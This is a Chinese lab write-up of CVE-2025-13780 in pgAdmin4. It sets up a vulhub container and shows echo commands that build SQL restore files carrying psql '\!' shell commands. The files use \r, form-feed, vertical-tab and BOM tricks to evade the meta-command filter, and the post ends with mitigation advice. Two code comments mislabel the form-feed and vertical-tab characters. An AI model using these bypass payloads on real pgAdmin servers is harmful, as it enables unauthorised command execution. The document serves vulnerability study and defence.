pgAdmin4后台Restore RCE(CVE-2025-13780)复现

简介

pgAdmin是一个流行且功能丰富的开源PostgreSQL数据库管理和开发平台,广泛被数据库管理员和开发者用于通过Web界面管理PostgreSQL数据库。

pgAdmin4 9.11版本之前存在一个远程代码执行漏洞。pgAdmin4的restore功能使用psql命令行程序执行用户上传的纯文本格式sql文件 。攻击者可以利用特殊字符绕过pgAdmin4对文件内容的安全检查,在sql文件中嵌入meta command (\!),使psql程序执行系统命令。

搭建

pgAdmin4 9.10

bash 复制代码
#vulhub
cd vulhub/pgadmin/CVE-2025-13780
docker-compose up -d

登录凭据为vulhub@example.com:vulhub

访问 http://ip:5050

sql:vulhub:vulhub

复现

文件生成

test.sql:

bash 复制代码
echo -ne "SELECT 1;\n\\! bash -c 'touch /tmp/hacked2'\n" > test.sql

test2.sql:

bash 复制代码
echo -ne "SELECT 1;\r\n\\! bash -c 'touch /tmp/hacked2'\n" > test2.sql

payload.sql:

bash 复制代码
echo -ne "SELECT 1;\r\\! bash -c 'touch /tmp/hacked2'\r" > payload.sql

开始"restore"

点击 servers 输入密码登录数据库后,server - main - database - vulhub ,然后右键点击 restore

上传sql文件

选择文件

选择"upload"

单击页面并选择文件

点击上面的"x"返回

选择刚才的文件

restore执行

切换格式为"Plain "并执行payload

else

如果选择test.sql\test2.sql :

恢复被阻止:所选纯SQL文件包含psql元命令(例如\!或\i)。出于安全考虑,pgAdmin不会执行纯恢复中的元命令。请移除元命令。

原来的代码has_meta_commands()函数使用br'(^|\n)[ \t]*\\',只识别\n作为行开始,将反斜杠前的空格和制表符 视为可忽略字符以及在二进制模式下扫描文件

故除了使用\r,还可以通过多种方式构造payload绕过pgAdmin的has_meta_commands()函数检测

bash 复制代码
# 垂直制表符
echo -ne "SELECT 1;\x0c\\! ls>/tmp/ls" > payload_ff.sql

# 换页符
echo -ne "SELECT 1;\x0b\\! id>/tmp/id" > payload_vt.sql

# UTF-8 BOM绕过
echo -ne "\xef\xbb\xbf\\! echo utf_bom>/tmp/bom" > payload_bom.sql

借鉴:高危 pgAdmin 远程代码执行漏洞(CVE-2025-13780)绕过此前修复:可通过恶意数据库恢复实现服务器接管-安全KER - 安全资讯平台

防御

  1. 立即升级 pgAdmin 至 ≥ 9.11,官方已修复该漏洞。
  2. 在升级前,避免在服务器模式下从不可信来源恢复 PLAIN 格式 SQL 文件。
  3. 对数据库恢复功能增加严格的文件内容过滤与命令执行隔离。
  4. 使用最小权限原则运行 pgAdmin 服务账户,降低被利用后的危害范围。
相关推荐
第五页的你1 小时前
MySQL层级表及表关系
后端
星栈1 小时前
Rust 单二进制部署,真没你想的那么“单”
前端·后端
SamDeepThinking1 小时前
一个业务场景只需要一个ThreadLocal实例
java·后端·程序员
煎饼皮皮侠1 小时前
【设计】设计一个web版的数据库管理平台后端(之三) -- 多数据库通用分页
数据库·web数据库·查询平台
Rick19932 小时前
mysql联合索引经典实例
java·数据库·mysql
anew___2 小时前
《数据库原理》精要解读(七)—— 数据库设计:从蓝图到现实的系统工程
数据库·oracle
独隅2 小时前
MySQL 接入不同 AI 大模型进行数据管理的全面指南(MySQL + AI)
数据库·人工智能·mysql
go不是csgo2 小时前
GORM 上手:一个 main.go 跑通 Go 数据库增删改查
jvm·数据库·golang
她的男孩2 小时前
从自然语言到数据大屏:Forge Report Studio 的 AI 生成链路
人工智能·后端·架构